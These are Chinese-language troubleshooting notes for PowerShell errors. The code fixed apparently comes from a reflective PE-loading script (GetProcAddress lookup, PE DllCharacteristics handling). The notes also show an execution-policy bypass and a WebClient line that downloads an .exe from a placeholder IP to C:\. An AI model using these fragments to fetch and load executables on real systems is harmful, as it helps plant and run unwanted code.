Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
解决方案是将
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
改为
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
[Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
增加的参数表明了GetProcAddress函数的参数类型。如果GetMethod的目标函数不是GetProcAddress,则根据目标函数的原型调整上述代码即可。
用户如果是第一次使用powershell 执行脚本 的话。其中的原因是:
windows默认不允许任何脚本运行,你可以使用"Set-ExecutionPolicy"cmdlet来改变的你PowerShell环境。
你可以使用如下命令让PowerShell运行在无限制的环境之下:
Set-ExecutionPolicy Unrestricted
Unrestricted 为允许所有的脚本运行
在win7(含)以上必须使用管理员的权限启动命令命令行,否则会报“Set-ExecutionPolicy : 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell”的访问被拒绝。”错误。
(Get-WmiObject -Class Win32_Processor).AddressWidth / 8
测试AddressWidth .getType()得到类型为数组,改为
(Get-WmiObject -Class Win32_Processor).AddressWidth[0] / 8
+ ... if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ + CategoryInfo : OperationStopped: (:) [], InvalidCastException
报错对应的代码为:
$PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
位运算符-band位与运算错误,操作数1为enum,操作数2为int。尝试强转:
[Int]$PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
使用“2”个参数调用“DownloadFile”时发生异常:“在 WebClient 请求期间发生异常。”
所在位置 行:1 字符: 1
+ (new-object System.Net.WebClient).DownloadFile('https://x.x.x./ ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
对应报错代码为:
(new-object System.Net.WebClient).DownloadFile('https://x.x.x.x/aaaa.exe','C:\aaaa.exe');
参数2需要文件保存路径(包括文件名),虽然我填写的是文件路径,但是问题是权限太低了